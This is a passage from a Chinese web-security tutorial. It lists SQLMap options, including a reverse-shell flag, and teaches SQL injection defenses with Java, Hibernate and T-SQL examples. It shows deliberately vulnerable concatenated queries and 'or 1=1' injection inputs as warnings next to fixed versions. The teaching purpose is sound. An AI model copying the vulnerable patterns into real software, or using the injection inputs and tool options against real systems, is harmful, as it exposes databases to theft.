–dump-format=DUMP | 转存数据格式(CSV (default)、HTML或SQLITE) |
–hex | 使用十六进制数据检索功能 |
–output-dir=ODIR | 自定义输出的目录路径 |
–update | 更新SQLMap |
–purge-output | 安全删除所有内容的输出目录 |
–check-waf | 启发式检查WAF1IPS/IDS保护 |
–os-pwn | 反弹Shell |
–cookie=COOKIE | 指定HTTP Cookie,预登录 |
–random-agent | 使用随机选定的User-Agent头 |
–tamper-TAMPER | 使用SQLMap插件 |
–level | 测试等级(1~5),默认为1 |
SQL 注入攻击的问题最终归于用户可以控制输入,SQL 注入、XSS、文件包含、命令执行都可归于此。这验证了一句话:有输入的地方,就可能存在风险。
要想更好地防止SQL 注入攻击,就必须清除一个概念:数据库只负责执行SQL 语句,根据SQL 语句来返回相关数据。数据库并没有什么好的方法直接过滤SQL 注入,还得从代码入手。
SQL 注入的防御有很多种,根据SQL 注入的分类,防御主要有两种:数据类型判断和特殊字符转义。
Java、C# 等强类型语言几乎可以完全忽略数字型注入,例如:请求ID 为1的新闻,其URL:http://www.test.com/news.jsp?id=1,在程序代码中可能为:
int id = Interger.parseInt(request.getParameter("id"));
// 接收ID 参数,并转换为int 类型
News news = newsDao.findNewsById(id)
// 查询新闻列表
攻击者想在此代码中注入是不可能的,因为程序在接收ID 参数后,做了一次数据类型转换,如果ID 参数接受的数据是字符串会发生Exception。由此可见,数据类型处理正确后,足以抵挡数据型注入。
像PHP、ASP,并没有强制要求处理数据类型,这类语言就会根据参数自动推导出数据类型。防御数字型注入只需要在程序中严格判断数据类型即可。如:使用is_numeric()、ctype_digit() 等函数判断数据类型,即可解决数字型注入。
通过加强数据类型验证可以解决数字型的SQL 注入,字符型却不可以。最好的方法就是对特殊字符进行转义。因为在数据库查询字符串时,任何字符串都会被加上单引号。既然知道攻击者在字符型注入中必然会出现单引号,那么转义之即可。
如果不知道需要转义那些特殊字符,可以参考OWASP ESAPI,其提供了专门对数据库字符转吗的接口,而且还根据不同的数据库实现了不同的编译器。
使用OWASP API 也很容易,只需要创建一个相应的数据库编码器,然后调用ESAPI.encoder().encodeForSQL() 方法即可对字符串编码。
OWASPI 同样可以有效得防止XSS 跨站脚本漏洞。
在说到特殊字符转义过滤SQL 注入时,就不得不提起另一种难以防范的SQL 注入攻击:二次注入攻击。
什么是二次注入攻击?以PHP 为例,PHP在开启magic_quotes_gpc 后,将会对特殊字符转义,比如,将’过滤为’,比如插入一个字段username的数据为:test’,虽然在SQL语句执行的时候单引号被转义了,但还是会被插入数据库中,插入后在数据库中为test’。如果有另外一处SQL 语句可以查询该username,此时就可以被利用。即直接向username插入你的攻击SQL 语句,再查询之,就是执行的你的SQL 语句。
Java、C# 等语言都提供了预编译语句,下面以Java 语言为例讨论预编译语句。
在Java 中,提供了三个接口与数据库交互,分别是Statement、CallableStatement 和PreparedStatement。
Statement 用于执行静态SQL 语句,并返回它所生成结果的对象。PreparedStatement 为Statement 的子类,表示预编译SQL 语句的对象。CallableStatement 为PreparedStatement 的子类,用于执行SQL 的储存过程,三者的层次关系非常清楚。
PreparedStatement 接口是高效的,预编译语句在创建时已经将指定的SQL 语句发送给了DBMS,完成了解析、检查、编译等工作,我们需要的仅仅是将变量传给SQL 语句。
假设有一个URL 对ID 查询:
http://www.test.com/user.action?id=1,安全代码如下:
int id = Integer.parseInt(request.getParameter("id"));
String sql = "select id,username,password from users where id = ? ";
PreparedStatement ps = this.conn.prepareStatement(sql) ; //使用预编译接口
ps.setInt(1, id) ;
ResultSet res = ps.executeQuery();
Users user = new Users();
if(res.next()) {
//封装user对象属性
}
在使用PreparedStatement 接口时应该注意,虽然其是安全的,但是如果用动态拼接SQL 语句,就会失去其安全性,如:
String id = request.getParameter("id");
String sql = "select id,username,password from users where id = "+id;
Preparedstatement ps = this.conn.prepareStatement(sql);
ResultSet res = ps.executeQuery();
这段代码虽然使用了PreparedStatement 接口,但同样存在SQL 注入。要想其防御,必须使用它提供的setter 方法(setShort、setString 等)。
在众多的框架中,有一类框架专门与数据库打交道,被称为持久层框架,比较有代表性的有Hibernate、MyBatis、JORM 等,接下来以Hibernate 框架为例。
Hibernate 是一个开放源代码的ORM(对象关系映射)框架,它对JDBC 进行了非常轻量级的对象封装,使得Java程序员可以随心所欲地使用面向对象编程思维操纵数据库,Hibernate 被称为Java三大框架之一。
Hibernate 是跨平台的,几乎不需要更改任何SQL语句即可适用于各种数据库,它的安全性也是比较高的,但它同样存在着注入。像这类对象关系映射框架注入也被称为ORM 注入。
Hibernate 自定义了一种叫作HQL 的语言————是一种面向对象的查询语言。使用此语言时,千万不要使用动态拼接的方式组成SQL语句,否则可能会造成HQL注入。因不是标准的SQL 语句,所以被称为HQL 注入,存在注入的代码如下:
String id = request.getParameter("id");
Session session = HibernateSessionFactory.getSession();
String hql = "from Student stu where stu.studentNo= "+id;
Query query = session.createQuery(hql); //生成Query对象
List<Student> list = query.list(); //进行查询
在正常查看用户时,URL: htp://www.secbug.org/user.action?id=1, 攻击者可能把id参数改
为id=1 or 1=1,最终执行结果为 from Student stu where stu.studentNo=1 or 1=1,查询时将会暴露此表的所有数据。
在使用Hibernate 时,应该避免出现字符串动态拼接的方式,最好使用参数名称或者位置绑定的方式,如同PreparedStatement 接口,改进代码如下。
int id = Integer.parseInt(request.getParameter("id"));
Session session = HibernateSessionFactory.getSession() ;
String hql = "from Student stu where stu.studentNo= ?";
Query query = session.createQuery (hql); //生成 Query对象
query.setParameter(0, id); //封装参数
List<Student> list = query.list(); //进行查询
int id = Integer.parseInt(request.getParameter("id"));
Session session = HibernateSessionFactory.getSession();
String hql = "from Student stu where stu.studentNo= :id";
Query query = session.createQuery(hql); //生成Query对象
query . setParameter("id", id); //封装参数
List<Student> list = query.list(); //进行查询
存储过程( Stored Procedure)是在大型数据库系统中,一组为了完成特定功能或经常使用的SQL语句集,经编译后存储在数据库中。存储过程具有较高的安全性,可以防止SQL 注入,但若编写不当,依然有SQL注入的风险,示例代码如下:
create proc findUserId @id varchar(100)
as
exec('select * from Student where StudentNo= '+@id) ;
go
fundUserId虽然是存储过程,但却不是安全的存储过程,它使用了exec()函数执行SQL语句,这和直接书写select * from Student where StudentNo= id没有任何区别。传入参数3 or 1=1 将查询出全部数据,造成SQL注入漏洞。
改进代码如下:
create proc findUserId @id varchar(100)
as
select * from Student where StudentNo=@id
go
参数 3 or 1=1,SQL 执行器抛出错误:
消息245,级别16,状态1,过程findUserId, 第3行
在将varchar值'3 or 1=1' 转换成数据类型int时失败。
虽然以上代码比较简单,但是证明了存储过程确实有SQL 注入的可能性。此处一定要注意, 使用存储过程应该与PreparedStatement 接口一样,不要使用动态SQL 语句拼接,否则依然可能造成SQL注入。